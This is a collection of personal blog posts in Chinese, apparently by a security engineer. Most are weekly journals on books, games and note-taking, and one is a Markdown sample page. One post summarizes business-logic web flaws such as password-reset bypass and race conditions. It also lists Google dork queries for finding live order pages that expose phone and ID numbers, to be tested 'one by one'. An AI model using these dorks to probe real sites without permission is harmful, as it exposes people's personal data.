我可以花上一百年在远古的深海潜行，一百年去追踪建文帝，再花个几世纪去死磕永动机，剩下的时间我将在所有洞穴间从容游荡。我将通晓一切草木的名称，熟知所有星星的温度。如果掉进某个陷阱，那就死心塌地，一往无前。晨光熹微中，我的手指从一排书脊上慢慢拂过，像抚摸着琴键，然后停下，抽出一本，就着窗前的光亮，读起来。

音乐家，斯大林严厉的反对萨克斯，并且所有的谱曲都必须经过层层的筛查，主角古廖夫曾得过一种病，获得了通感的能力，他就用通感来来审核音乐，不用听就能想象出画面，并且写出其中的内容。上级就像审核作文一样来审核曲子的意识形态问题。但是他的音乐才华也一直被压抑着，在他老年退休之后，他所幻想出的一个自己的分身，叫穆辛，靠着幻想，终于克服了恐惧。和他一起把自己曾经最得意的曲子给演奏出来了。

这篇故事有很多的伏笔和象征，并且最后演奏的环境，蓝色的大海，在深海中出现的潜水艇，也很第一篇互相照应了

裁云记和音乐家，这两篇故事都一些荒诞，云朵、音乐，这些无形的事物，云彩与音乐，这两者人类最不能控制的东西，却都要被压抑着形状必须一致，意识形态必须符合官方的设定，

在这其中生活的人，也逐渐变得荒诞起来。裁云记中的我，幻想着去制造永动机，去追逐建文帝的下落。其实我或多或少读到了一点生活中的无奈。因为工作中，我们都是要明确的结果的，很少关注你的过程，于是大家都被压抑着。有时候工作久了，我就很头疼那些，我也只想去研究一些没有结果的，而是享受这个过程，比如去钻研黎曼猜想，学习下量子力学，我知道这些东西都是没有用的，但是我喜欢这样一个过程。

建文帝的故事，这个在明朝那些事中有讲，相信看过的朋友应该是知道的，也简单和大家讲讲。明朝朱元璋去世后，继任的是建文帝，但朱元璋也分封了藩王，导致建文帝，此时朱棣在北京起兵，靖难之役，夺得帝位。建文帝的下落却不知所踪

音乐家的故事就更加的，让人难受了。

其实我想简单讲讲，但是出了门就不能说了，那是关于2022年的一些回忆了

(以下省略，白纸🐶

最后的问题

这9篇小说中，你最喜欢哪一篇，为什么
你有哪些印象最深的句子、段落，可以朗读一下

参考资料

https://book.douban.com/review/12902710/
https://www.xiaoyuzhoufm.com/episode/6491b31d86eb9d7e47d43ff0?s=eyJ1IjogIjY0YjhiYzc0ZWRjZTY3MTA0YWRhNmU1OCJ9
https://www.xiaoyuzhoufm.com/episode/64a17c30ec448b75fd97df70
https://www.xiaoyuzhoufm.com/episode/64af399e05c6fdf706d135c2

周报20 治愈你的不是梦境

Wed, 08 Nov 2023 00:00:00 GMT

周报20 治愈你的不是梦境

看到《奇葩说》关于对“不睡觉药”的探讨，这个辩题对反方当然是很容易的，比如小鹿提到的，会造成内卷，是一个很合情合理的推断。作为正方则很难，但是我听到正方二辩的辩词时，被深深地打动了，摘录如下：

首尔姐告诉我们说梦境是人逃避现实的一种方式，我非常赞同，可是你要知道梦境这件事情自己不能选择，你们有多久时间没做过梦了，你有多久时间可以控制自己梦境的发生。

我觉得与其等待梦境，不如创造梦境。

当我遇到所有不开心的时候，我第一反应绝对不会去睡觉，因为很可能睡醒之后你会感觉更失落，问题有时候并没有解决。我把它写下来，按我一切想要的样子写下来，文字是可以永久记忆的，当若干年之后我翻出来读这些文字的时候，只要我仍然能够记得我当时描写的场景，我的亲人就没有离去，只要我还能记得我的爱人，我的爱人就没有离去，

所以治愈你的不是梦境，而是你刚才写下来的这一切

💭对于历史类书籍阅读的思考

周日收到了文杰的邀请，一场别开生面的草地分享会，记录下自己的一些想法

文杰分享的时候有个点让我印象深刻，"大家休息的短暂三分钟，十年过去了。"让我想起一句话，历史书翻过一页，背后就是无数个人的一生
历史有时候是成王败寇，是从结果去反推原因的。譬如我们都知道袁绍被曹操打败了，但我们不能就因此觉得袁绍很蠢，b站有个up叫渤海小吏，深入分析了官渡之战的每一个细节，用事实告诉我们，历史是有因果的，是有细节的
以前读过一本书叫《芥子》，芥子和须弥是相对的，都是佛教用语。须弥是无穷大，芥子就是无穷小的意思。所以，《芥子》这本书就是讲历史上的小人物，比如，曲有误，周郎顾。这本书不会去讲周郎，而是写那个弹琴的侍女，写她的生活，写她的情感，写她弹琴时那一点调皮的心理活动。这也我所喜欢的历史故事
我也读《明朝那些事》，我觉得明朝那些事写的最好的两个人，也是最好哭的两个故事，一个是李时珍，一个是徐霞客

“无论徐阶是否斗倒了严嵩，无论张居正是不是一个杰出的改革家，都不关李时珍的事，他只是一个医生。他知道，生命很珍贵，也很柔弱，作为一个医生，有责任和义务去维护生命的存在。” “我只是个平民，没有受命，只是穿着布衣，拿着拐杖，穿着草鞋，凭借自己，游历天下，故虽死，无憾。”

徐霞客的原话是，吾荷一锸来何处不可埋吾骨耶。就是说我扛着我的锄头遍历天下，哪一处地方不可以埋葬我呢。这是我语文老师教我们的，我能感受到她对于徐霞客的喜爱，刚好当年明月，也把他放在结尾，用这样一个故事，收束了长达两百多年的明朝。这也是作者想表达的：成功就是，用我们自己的方式，度过一生

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

逻辑漏洞学习总结（一）

Tue, 07 Nov 2023 00:00:00 GMT

逻辑漏洞学习总结（一）

实战经验还是比较少，但是打CTF（水比赛）的经历很多🐶，感慨自己对于漏洞的理解不够深刻，于是准备开始从逻辑漏洞先开始总结

参考大佬们的经验，简单总结了下逻辑漏洞的思维导图

一些常见的逻辑漏洞分析

任意密码找回/任意手机号修改

经典流程：验证old手机号/old密码 -> 提供新的手机号/密码 -> 提交修改

第一步，验证原有手机号或者密码，如果可以修改返回的response包，那么就可以绕过这一步骤，

此时如果第三步没有验证第一步认证是否成功，则可以任意绑定手机号/修改任意密码

并发抽奖/签到

抽奖、签到并发问题，通过多次重放可以累计登录天数，获得多个抽奖券等

一般的解决办法都是通过CAS操作来进行的，CAS操作包含三个参数：

内存位置V
期望的原值A
新值 B

CAS首先检查V种的当前值是否和A匹配，如果匹配，则更新为B，否则不作操作。这里的整个操作都是原子的，从而保证同步

前端JS

多翻翻前端JS，可以找到很多点，如：

隐藏的接口
js source map 文件

主要参考这篇： [https://xz.aliyun.com/t/9453]

登录态泄露

在一些H5场景、小程序场景中，很多开发者偷懒，其实也是因为登录态的设计过于复杂，导致简单的通过openid等方式直接验证

这种案例就比较多了，多见于微信生态体系下

报错页面

报错页面也是可以返回很多信息的，最常见的就是CTF种通过报错页面来实现模版注入

实战场景中，报错页面可能会泄露很多敏感的信息，比如登录态🐶(还真遇到过

Google hacking扩展

知道了这么多逻辑漏洞，怎么去测试呢？

通过Google hacking语法能找到很多的站点，一个个测就好了，比如我们找支付功能的，就可以通过这样搜素

inurl:m intitle:订单详情 inurl:id=
我的订单 订单详情
inurl:order 订单详情
inurl:wap intitle:订单详情
inurl:m intitle:订单详情
inurl:php intitle:订单详情
title:订单详情 手机号
site:.com title:订单详情
title:订单详情 身份证

通过这个思路就能找到很多实际的支付站点，并且一个个去验证测试

如果漏洞比较通用的话，就可以编写下poc集成到xray或者其他被动扫描工具了

预计下一篇就来分享下对这些站点的挖掘🤔，先水完这一篇好了

Reference

[https://xz.aliyun.com/t/12948]
[https://cloud.tencent.com/developer/article/1591315]

周报19 身在无间，心在桃源

Mon, 30 Oct 2023 00:00:00 GMT

周报19 身在无间，心在桃源

周一去健身房撸了个铁，重量加的有点大，导致上肢疼了一周，差点羽毛球打打不了了🤣。周二则是1024程序员节，参加了公司的线下活动收获了一大批礼品，很开心。P5r10月底要退出XGP了，但又舍不得买，好在主线剧情到狮童宫殿了，第三学期恐怕来不及玩了，先肝着

最近一周仿佛又陷入到了思维的泥淖中，怎么都迈不开腿。我们总是期盼有一个银弹，能一口气解决我们遇到的问题。但是事实上，所谓灵光闪现，所谓豁然开朗，都不过是一步一盘桓，一步一选择，初极狭才通人，复行数十步才能见到的

刷到了毕导终于毕业的视频，虽然我没读过研，但是也能体会到写论文的不易，水论文的idea反倒是很多，正经的创新想法却一个都没有。可是除了真正的天才，谁又能在一瞬间想到那些惊为天人的想法呢？

我也常常感到头疼，被leader怼思考不够。这时候就会陷入到王阳明格竹子的困境，天天对着竹子能想出什么呢？往往是最后自怨自艾，恨不得倒退回去变成一个简单的程序员，只要被人指挥去实现各种功能就好了

看到已经离职的伙伴还在深圳自由自在，也不需要承担工作的压力，还挺羡慕的。但我其实知道我是做不到的，哪怕是周末宅一天打游戏，吃外卖，没有任何社交工作，对我来说也是无法接受的

有压力，有进步空间，有交流，但是又时刻想着逃离，这种矛盾的心态，恐怕才是当下最好的状态吧

正如标题所言，身在无间，心在桃源

1024 程序员节快乐！

线下活动有个摊位是tRPC的，活动很简单，扫个码看看你对tRPC的贡献，如果有贡献过就能获得奖励哈哈哈哈😆

没想到之前无心插柳，抱着对tRPC的兴趣领了一些issue来完成，也算是共建的开发者了！

打个广告，tRPC已经开源了，首批开源了C++ 和 golang 的版本，欢迎提issue和pr

https://github.com/trpc-group

📚阅读 & 读书会

诸君看图吧，累了不想写了🤣

一次很有意思的读书会，尽管有一点点品牌宣传的嫌疑。不过我晚上回来，感觉全身无力…躺在床上什么都做不了，鉴定完毕，我可能是那种不适于闻香的人了

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

Apache ActiveMQ 远程代码执行漏洞又是一个Java的漏洞，最近打算花点时间研究下
在大城市，那些被放逐的程序员
用NAS和兄弟共享小姐姐：Docker项目SyncTV，实现多人观影和直播体验挺像入坑NAS的，但是奈何现在条件不允许
【全站首部】史诗级立体世界历史地图5000年这个做得挺好的，可以纵览中外历史各个朝代，历史爱好者必备了
https://262.ecma-international.org/10.0/sec-ordinarysetwithowndescriptor 最后还是要翻ecma的js标准才能找到原因
https://we.dog/ 舔狗网站太好笑了
碧桂园，距离恒大还有多远？【汤山老王】

周报18 我也只有这么些本事

Mon, 23 Oct 2023 00:00:00 GMT

周报18 我也只有这么些本事

最近周报的更新时间不是很稳定，一方面可能是还没有调整过来，生活节奏稍有些紊乱，另一方面可能是有间歇性的懒癌发作了

随着xlog上认识的朋友变多，也开始有些压力，每篇周报发出去的时候总要纠结万分。但随着这个过程的重复，发现纠结太多反而没那么多必要，写完就行了，大部分时候都能做到文从字顺，有些刻意的雕琢反倒是有些画蛇添足。

你所看过的，你所经历的，都将凝聚在你的笔尖

本周也没有发生什么新奇的事情，周六下午报名了公司谈判课，抱着好奇心去听课的，其中的一个活动印象深刻；三天时间读完了《羊毛记》这本科幻小说，写了点书评；还在看《有生之年》，感触挺多的。

周日休养了一天，除了周三出差去了趟广州外，连续一周打球导致左臂肩膀肌肉酸疼。说是休养，其实基本一天都在打游戏，通关了cocoon这款解谜游戏，今年TGA年度独立游戏提名没有它我不看好吧🤣

空暇之余收拾了下出租屋，叠好了衣服，刷了下厕所

看到 one · 一个 app上的一篇文章，摘录了一句：

我也只有这么些本事，收拾屋子，读几本书，再写下一些不重要的文字，日子天天过，在自己眼前这片小天地里怡然自得，我花光了所有力气

封面图星之海

📕学会谈判

课堂上老师讲了几个故事，其实基本都选自一些谈判类的书籍，不过第一次接触到印象还是很深刻

罗斯福大选的故事可以看这里 https://www.jianshu.com/p/6ac48f98ccc9

印象最深刻的活动还是这个：

规则很简单，A组和B组分别在两个不同的教室，由老师负责传递信息，总共八轮报价

第一轮报价，我们组计划先给对方一个善意的开局，毕竟如果直接报最低可能就没法玩了，结果对方却给了我们一个最低的报价既然善意释放没有成功，但是我们预测到对方知道我方的善意后，还是多少会有点改进，于是调整到了中间价果然对方也意识到了，于是第二轮、第三轮报价就都变为了20

第四轮开始之前，老师说这一轮可以先互相派出一个人进行谈判，并且收益翻倍

于是我们的代表和对方代表商议是都出最高价30（毕竟这样赚的才最多）可能是由于前期善意释放的比较足，对方是相信了，但是我们经过考虑，决定撕破脸背刺一波，给出了最低价

果然不出所料，对方被我们摆了一道

但进行到第六轮的时候，老师说还可以进行一轮谈判，这是意想不到的，并且收益翻4倍但是由于前期已经谈崩了，所以不存在复合的可能了，后面也就基本没啥意义了

最后记录的结果，我们是第六组，和第一组pk的，一级其余两组的结果

有一些经验是值得记录的：

开局一定要明确善意和恶意，但最好释放善意，虽然从二、五组的比赛来看，恶意竞争的收益反而最多？
长期动态博弈的最佳策略一定是以牙还牙，即你给我善意我给你善意，你给我恶意，我给你恶意

还是个挺有趣的游戏，初看起来很简单，但是玩起来就有点陷入猜疑链了，三体既视感

📺 追剧

《有生之年》

最近越来越喜欢台剧了，喜欢这种充满生活烟火气息的镜头，而不是被滤镜美颜呈现出的虚假画面（国产剧说的就是你..

很佩服台剧的表现力，略带点台湾口音的语言，却让我越听越上头，平凡的早餐店工作，路边的街头小摊，昏黄幽暗的家，还有一架老风扇在吱呀呀的转

很适合在一个忙碌的一天结束之后，褪去了保护的外壳，静静地看着这一堆发生在别人身上的琐事，没有什么大道理可讲，生活就是在你日后回忆起来才发现，哦原来当初就是这么过去的啊

📚阅读

《羊毛战记》这部剧上半年Apple tv就开始追了，一集没落，实际剧情和羊毛没半点关系（除了擦镜布是用羊毛做的外）又是一部被汉化标题耽误的美剧

正好这本书微信读书上架了，集中两三天内读完了，翻译质量属实上乘之作（对，《耶路撒冷三千年》说的就是你，翻译的真拉胯）

每到世界末日的主题，总少不了外星人入侵地球，僵尸围城等等，激光炮弹射出的火花，总让人疑心这是在庆祝而不是恐慌？真正的世界末日，是在一个144层的地堡中，一个充满谎言与欺骗的阶级统治下，一小撮人，向外探寻的故事当主角真正走出这个名为"筒仓"的地下堡垒，用自己的眼睛看穿欺骗的谎言，也不过就是从一个筒仓到了另一个筒仓

筒仓，其实就像是存储粮食的仓库一样，不过是存储人类的种子而已故事很简短，更像是一个寓言

作者在结尾中写到，筒仓墙上的屏幕就是我们的电视、网络浏览器、搜索引擎、报纸、新闻和手机。真相要用自己的眼睛去看

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

碧桂园，距离恒大还有多远？【汤山老王】
马立平：小学数学教材中的严重问题说实话完全没看懂想表达什么，纯粹是为了怼而怼..一股子无脑黑，当个笑话看吧，也学点新知识🐶
【翻译】Quine - 自我复制的程序（上），本来以为Quine的编写还挺简单的，没想到是我想简单了
最近微信与抖音小游戏-找到自己的定位
自建Clash订阅转换 - Subconverter+Subweb+MyUrls搭建教程
我真的将这个虚假广告做成了游戏！！！
我们为何总试图分辨谁是真正的女性主义者？从Lisa疯马秀争议谈起
《杀死一只知更鸟》阅读笔记
微信背后的产品观》：哪些观点塑造了现在的微信

周报17 国庆后的状态调整

Wed, 18 Oct 2023 00:00:00 GMT

周报17 国庆后的状态调整

一些碎碎念

似乎国庆回来后就有些中断自己坚持下来的写作习惯了，果然任何依赖人工维护的系统都是很难有可持续性的，想法照旧还是不断地产生，缺少一个落地的过程，还是喜欢这种碎碎念的过程

国庆是在10月1号才回家的，毕竟高铁票难抢。上午11点的高铁，我照例是要提前1个多小时到的，似乎每次旅行前都习惯了要早早准备，担心第二天会有突发的意外，以前甚至晚上都睡不好觉，因为心里一直在担心着，有一根弦在绷着。不过随着旅行的次数变多心态也逐渐好转了，每次告诉自己国内旅行带上身份证和手机就够了，国外只要检查护照签证等。

短暂的旅途（不过也持续了一天）也没啥意外，高铁选的是靠窗座位，坐好后一抬头发现斜前方的几个人，似乎是大学生打扮，其中一个拿出了一盒三国杀，开始洗牌做准备，思绪一下又回到了高中，那时经常在熄灯之后，熬夜打三国杀哈哈哈，三国杀算是从小学就开始陪伴我了，不过对于打牌的技巧并没有掌握太多

国庆回来后最显著的一个转变就是，我开始想逐渐调整自己，让自己慢下来，学会聚焦，不再分心去做其余的事情。

最明显的就是，上周集中通关了幽灵诡计，虽然后面很多关卡都是依靠着别人的攻略来做的，但当我通关完之后，还是体会到了一种目标终于实现了的快感。

卡关也是免不了的，幽灵诡计这个游戏的剧情人物刻画都很不错，奈何通关的解法实际上就那一个，我印象最深的一次卡关，是在幽灵附身后忘记操控那个物体，导致我后续的动作一直无法在预期时间内完成，前后尝试了5、6次，最后仔细看攻略视频才意识到这一点。也侧面反映出我日常会由于一些思维的跳跃性忽略一些关键细节

而不再是像以前一样，一旦一个游戏遇到了卡关，就立马去切换到下一个游戏玩，靠着不断地更换游戏来刺激多巴胺，结果却逐渐丧失了游戏的乐趣

周末则是集中精力在玩《星之海》，虽然这游戏被很多人吐槽战斗节奏缓慢缺少新意，而且越到后期的战斗越像是坐牢，目前已经15+小时了，按照成就来推测感觉也不到10%的游戏内容

但是每当我想要放弃玩的时候，游戏的bgm、或者画面的转变，总能吸引住我顺带也玩了下最新出的极限竞速8，怎么说呢，我玩了两个多小时就卸载了，游戏的优化还不到位，中间好几次闪退，而且对于Quick Resume的功能也不算友好，我上午打了几局，下午想切回去玩的时候已经无法正常进入游戏了，只能等这个游戏后续的更新了，还是继续玩我的极限竞速地平线5吧

回去一趟后，意料之外的是，Apple watch的表冠按钮坏了，只能旋转，但按下去却没有任何反应。本来以为是系统问题，一咬牙把iPhone和watch都更新到了最新系统，但依旧存在问题。心累了，其他功能还正常的情况下也只能接受了。不过更新后的健康App Ui界面倒是让我很惊喜，还是比较喜欢这种纯色卡片形式的风格

其余的更新没太多关注，倒是这个给iPhone充电时横屏显示小组件让我比较感到比较意外，虽然很早就知道了有这个，不过当时觉得挺鸡肋的，但真正用起来到时候，不得不说Apple还是懂用户的，也有可能是依据一些后台数据分析出很多用户存在这种使用行为

目标感树立后，真正做到了每天起床刷牙洗脸时，问自己的第一句话就是今天要做什么。同时，我也把微信读书书架上一大堆想读但未曾翻过的书给删掉了，确实没有存在的必要了。以及流媒体上实际想看但未看的剧给删了

感悟是有一次看到一句话，要注意信息输入和输出的均衡，当时看到觉得深以为然，并且回想起自己在很累的时候，明明都在不断提醒自己要休息了，结果却还是忍不住去刷B站的视频推荐，实际上看到感兴趣的视频也并不会真正地看完，蜻蜓点水过后就去刷下一个了，实际上和刷短视频的方式没有什么区别，我称之为长视频的短视频刷法。

🎮 游戏

国庆期间，其实也没做什么，代码没写多少，书也没看多少，但是集中玩了两款游戏，一个是杀戮尖塔，另一个就是王国之泪了

杀戮尖塔之前就断断续续玩过，但是一直没找到规律，进阶一都打不过实在是太菜了于是找了几个攻略视频看看实战打法，纠正了自己对一些卡牌的错误认知，又经过几局的努力，终于在一个午夜零点，打通了战士的进阶1 王国之泪则是很久就想玩了，虽然前作野炊我没玩下去。但是不妨碍我对王国之泪的爱，测评视频都看了好几个但是奈何太菜了，最开始连新手村都折腾了好久，印象最深的两个，一个是利用左纳乌装置过河，因为我的路线实际上是相反的，并不知道风扇应该怎么用，所以我把它拼到武器上了，以为靠着武器挥舞就能产生风力来过河另外一处则是在新手村找不到第三处神庙，就是雪山上那座，翻了攻略视频才知道的🤣 怎么才能找到这些容易错过的点呢？也挺难总结的，毕竟每个游戏都有每个设计的思路有时候就像是阅读理解，你猜中了出题人的心思才有可能做出来比如刺客信条英灵殿里面找钥匙进门，有时候不一定得找钥匙，可能是爬上屋顶射中门栓，也有可能是某个窗户口进去等等，如果实在找不到那就是剧情才能进入了比如Tunic里面，一定要紧贴着每条路走，这样才有可能找到隐藏的宝箱

📚阅读 & 读书会

最近的阅读主要还是集中在热点事件上，偶尔会回顾下《明朝那些事》，最近在看《耶路撒冷三千年》

其实也想克制下，先把自己感兴趣的读完，但奈何还是无法脱离一些热点事件或者是豆瓣上比较热门的书籍，毕竟内心还是渴望有一些社交货币，能够在和人聊天的时候有一些话题

本期读书会的分享的书籍是《献给阿尔吉侬的花束》

第一遍很快速地读完了，开始重读第二遍，强烈建议这本书至少一定要读两遍。起初你会嘲笑可怜的查理，错字连篇，小心翼翼，但是第二遍阅读的过程中，在字里行间，在每一处查理的自我否定，你都能感受到一种无可奈何的悲伤

补充：真的很佩服翻译，我能想到英文原文里肯定是一堆的单词拼写错误，但是译者却能传神地翻译为对应的汉字别字

尼姆教受说如果手术成工而且是永久的。他们就能让其他人也像我一样便匆名。也许全世介的所有人都可以。他说这表是我对棵学做了好是我会便得有名。我的名子会写近书本去。我才不管便有名。我只要和其他人一样便匆名。这样我就可以有很多洗欢我的朋友。

当你第二遍去读到这段文字的时候，有一种忍不住要落泪的感觉，这种“讨好型人格”似乎，似乎我之前也有过，但是实际上不管你怎么努力，总会有人讨厌你。

查理太过担心这些细节，以至金皮说“好，换你试试看”时，他根本动不了。

我回忆起我小学体检时，测肺活量，因为我不知道那个口要更换（后来我才知道这应该是医生做的事），那个医生就用一副很不耐烦的表情吼我，我当时以为是要洗一下那个口，打算用手洗，又被他吼了，最后我都不知道怎么做完测试的。这件事给我留下了很重的阴影，以至于现在我还不敢去做肺活量测试

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦, https://t.me/RayeJourney

不过也会摘录一些放在博客里：

Flask SSTI靶场记录 - lca 想不到xlog上也有同样的搞安全的同学
腾讯总部大厦「贴膜」了！因为它们科技向善！第一次知道大厦除了光污染还会影响鸟类飞行，算是个科普了
被简体中文的翻译毁了（耶路撒冷三千年）书评简中翻译真的拉胯，同样一段话就不能好好说吗
开始学习织毛线Knitting吧尽管深圳的冬天等于没有，但还是唤起了我对于织毛衣的热爱，从小就喜欢做这些手工哈哈
A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux 如何编写一个最小的hello world程序，最底层果然还是要靠汇编，对于编译链接的原理有理解了几分
石可人：父亲欠债三千万、坐牢、私生子，可我觉得他没那么坏竟然在B站上看到了自己的学弟，原来每个人都是在负重前行
「花生」浅谈诺基亚三十年辉煌与没落，我收集了50+台经典老机花生说的长视频质量确实很顶，当你把时间线拉长，沧海桑田的感觉就出来了
写在 24 岁之前算下来自己也快24了，是时候准备点东西了
国产版“八方旅人”，会是2023最好的武侠游戏吗？自从八方旅人之后，对于这类JRPG，像素风，回合制战斗的游戏就越来越上头了

我的个人信息流方法论（上）

Wed, 18 Oct 2023 00:00:00 GMT

我的个人信息流方法论（上）

为什么要做信息流整理

我是个很懒的人，但是我喜欢记录，喜欢去捕捉穿梭于神经元之间的火花。可能就像种田是根植于中国人的基因中一样，随手记录也是如此。最早在汉武帝的时候，便设立了起居注的官员来记录皇帝的言行，为后世的史书编写提供材料。我既没有皇帝的权力，也不一定能在历史的书页角落中留下自己的名字。但我还是想为自己拍摄下一个个快照，就像一个连环画一样串联起生活中的点滴，权当做是自己的史记吧

本文则聚焦于我是如何整理自己的信息流的，包括日常信息的获取，信息加工、输出。看到大佬们都在总结自己的信息流管理系统，于是也手痒来总结下，并不聚焦于某一个特定的工具，关注的重点在于我的经验与方法论

ps. 感觉文章写下去会有点长，于是就分为两半吧，先写方法论，再写实践

方法论

卡片式笔记

减少手工的维护，繁琐的步骤会让人犯错和没有动力

上文提到我是一个很懒的人，这里的懒指的是我缺少去长期维护一个系统的动力，我希望所有的工具都是开箱即用的，并且迁移成本低、自动化程度高。正如DevOps中引入的CI/CD，其本质就是减少手工的操作，繁琐的操作步骤会让人犯错。另外一个很重要的原因则是，我会时不时地摆烂，这更导致我没有任何动力去做一个需要长期坚持维护的系统。我相信不止我一个，人的惰性是天生的，很难摆脱（即使天蝎座+ENFJ人格也不例外🐶

有很多人推崇各种方法去预先组织自己的笔记系统，将其划分为一个个子模块。这对我来说并没有什么作用，除了能画出漂亮的图之外🤣。就如同我写文章，明明规划了一堆的大纲，结果大纲写完后，反倒没有任何下笔的动力了（没错，很多文章就是这个被我咕掉的🥹）

卡片式笔记是最好的解决办法，将一个个想法快速落地为卡片，再结合标签、白板等功能，在一个下雨的晚上，或者是一个闲暇的午后，讲这些点点滴滴串联起来，输出为一篇文章，或将其内化为我自己的知识。

工具选择

减少工具带来的心智负担

选择了卡片笔记的整理方式后，对于工具的选择，我更多关注的是，减少我的心智负担，轻松上手，没有任何多余步骤，不需要去思考在哪里创建文件夹，打什么标签

一旦有了心智负担，就难以沉下心来去记录了

记笔记是一件很私密的事，但我的想法经常在工作的时候冒出来，我肯定是不愿意让同事看到我写下的内容的（毕竟任何方面的思考都有xs🤣。

所以我有几个选择的原则：

一定要支持黑暗模式，因为白色实在是太亮眼了，看个十多分钟我的眼睛就不舒服了
一定不要强制写标题，我最讨厌的就是笔记标题，如同给变量命名一样，并且硕大的标题也就意味着路过的同事能轻易地看到你在干嘛
一定是纯文本，只需要靠文字+快捷键就能基本实现我所需要的一切
一定要能调整字体大小，记笔记是一件很私密的事情，但是工作的时候也常常有想法沉淀，这时我也绝对不希望路过的同事能轻易看到我的记录
一定有完善的搜索，这是必须的，因为都是散乱的卡片笔记
一定具备可玩性，可探索性，长期使用一个笔记软件是很困难的，尤其是没有任何可玩性的，比如记事本，人都是喜新厌旧的，用久了一个软件自然会去想着折腾新的

专业的事情专业的软件做

写作工具我主要还是用的Ulysses

好像是还挖了个坑介绍下为什么要用Ulysses写作来着（划掉🐶）

简单介绍下我最喜欢的功能吧：

实用的侧边栏：
- 字数统计及目标设定，看到自己在几天内达到目标还是很有成就感的
- 关键字及分组，类似于标签管理了，但我觉得这个关键字及分类还挺有用的
- 批注，这个强烈推荐，我经常文章写到一半，有时要配个图or针对某个细节点完善，但又常常忘记，批注是个很实用的功能。最关键的是这个批注是扩展md语法，没有任何额外操作
发布：支持一键发布到medium、ghost、WordPress等地方，不过我现在最常用的就是一键发布到medium了
导出：丰富的导出选项，md、text、epub、pdf等格式都支持
搜索：搜索很简洁，也很快速实用，配合关键字分组基本随时都能定位到我正在写的文章
图片：图片管理可以说很有特点了，不会像其他md文档贴一张图直接占满整个屏幕🤣，也不用自己费劲调整图片的大小了
打字机模式：目前体验到的最丝滑的打字机模式了，有时候想法上来了，我能一口气写几千字，配合快捷键不用任何鼠标操作
主题：主题这个也很丰富，不过个人感觉默认的黑白配色是我的最爱，也可以单独针对标题等格式进行字体的微调

提升转化率

随时打开随时写，提升笔记转换率

对于一个随时随地都有无穷无尽想法的人来说，要求很简单，随时打开随时写。我想大部分程序员每天用的最多的，除了代码编辑器之外就是浏览器了吧。

而如果你想记笔记，此时光是cmd+tab切换到对应的笔记软件就已经耗费了所有心力了，尤其是工作忙的时候还比较健忘

游戏买量领域里有一个提升买量竞争力的办法，那就是快速转换，如果用户点击了你的链接，还需要面临长达1min的白屏，那么可以想见的结果必然是用户的大量流失，为了提升买量的转化率，小游戏，轻游戏，h5游戏，试玩版才纷纷出现，本质上就是让用户通过广告进来经过短暂几秒即可快速留存并转化

因此，提升转换率，提升想法->文字的转化率，才是最重要的

我还是挺喜欢edge浏览器的侧边栏功能的，方便记录（摸鱼），有想法了随时打开记录就好

增加信息处理的链路

与其事先精心分类，不如增加信息处理的链路

信息接收与整理是并重的，甚至整理才是最重要的篇幅。我之前陷入了一个误区，即不停地依赖更换笔记工具，来督促自己实现整理，并没有一个整理的方法论这就导致我记录了大量的信息，散落在不同的笔记软件中，从最开始的印象笔记->有道云笔记->Notion->obsidian->logseq 就在我即将要迈入 heptabase 一去不复返的路上，我猛然惊醒，一脚踏入泥淖的同时，另一脚还还没迈出，还剩一丝机会能够逃离这个循环陷阱

我将信息处理分为多级链路：

草稿
粗加工
回顾与精加工
整理输出

每一个层级都有可以选择自己趁手的工具，比如我在草稿阶段就会选择直接记录在flomo网页上，微信读书笔记里，粗加工则是记录到logseq中

回顾与精加工则是通过logseq的标签聚合或者白板来整理，最后的输出则是转到Ulysses上

Markdown Example

Sun, 01 Oct 2023 00:00:00 GMT

An h1 header

Paragraphs are separated by a blank line.

2nd paragraph. Italic, bold, and monospace. Itemized lists look like:

this one
that one
the other one

Note that --- not considering the asterisk --- the actual text content starts at 4-columns in.

Block quotes are written like so.

They can span multiple paragraphs, if you like.

Use 3 dashes for an em-dash. Use 2 dashes for ranges (ex., "it's all in chapters 12--14"). Three dots ... will be converted to an ellipsis. Unicode is supported. ☺

An h2 header

Here's a numbered list:

first item
second item
third item

Note again how the actual text starts at 4 columns in (4 characters from the left side). Here's a code sample:

# Let me re-iterate ...
for i in 1 .. 10 { do-something(i) }

As you probably guessed, indented 4 spaces. By the way, instead of indenting the block, you can use delimited blocks, if you like:

define foobar() {
    print "Welcome to flavor country!";
}

(which makes copying & pasting easier). You can optionally mark the delimited block for Pandoc to syntax highlight it:


# Quick, count to ten!
for i in range(10):
    # (but not *too* quick)
    time.sleep(0.5)
    print i

An h3 header

Now a nested list:

First, get these ingredients:
- carrots
- celery
- lentils
Boil some water.

Dump everything in the pot and follow this algorithm:

 find wooden spoon
 uncover pot
 stir
 cover pot
 balance wooden spoon precariously on pot handle
 wait 10 minutes
 goto first step (or shut off burner when done)

Do not bump wooden spoon or it will fall.

Notice again how text always lines up on 4-space indents (including that last line which continues item 3 above).

Here's a link to a website, to a local doc, and to a section heading in the current doc. Here's a footnote [^1].

[^1]: Footnote text goes here.

Tables can look like this:

size material color

9 leather brown 10 hemp canvas natural 11 glass transparent

Table: Shoes, their sizes, and what they're made of

(The above is the caption for the table.) Pandoc also supports multi-line tables:

keyword text

red Sunsets, apples, and other red or reddish things.

green Leaves, grass, frogs and other things it's not easy being.

A horizontal rule follows.

Here's a definition list:

apples : Good for making applesauce. oranges : Citrus! tomatoes : There's no "e" in tomatoe.

Again, text is indented 4 spaces. (Put a blank line between each term/definition pair to spread things out more.)

Here's a "line block":

| Line one | Line too | Line tree

and images can be specified like so:

Inline math equations go in like so: $\omega = d\phi / dt$. Display math should get its own line and be put in in double-dollarsigns:

$$I = \int \rho R^{2} dV$$

$$ \begin{equation*} \pi =3.1415926535 ;8979323846;2643383279;5028841971;6939937510;5820974944 ;5923078164;0628620899;8628034825;3421170679;\ldots \end{equation*} $$

And note that you can backslash-escape any punctuation characters which you wish to be displayed literally, ex.: `foo`, *bar*, etc.

周报16 花在杯中，月在杯中

Sat, 30 Sep 2023 00:00:00 GMT

周报16 花在杯中，月在杯中

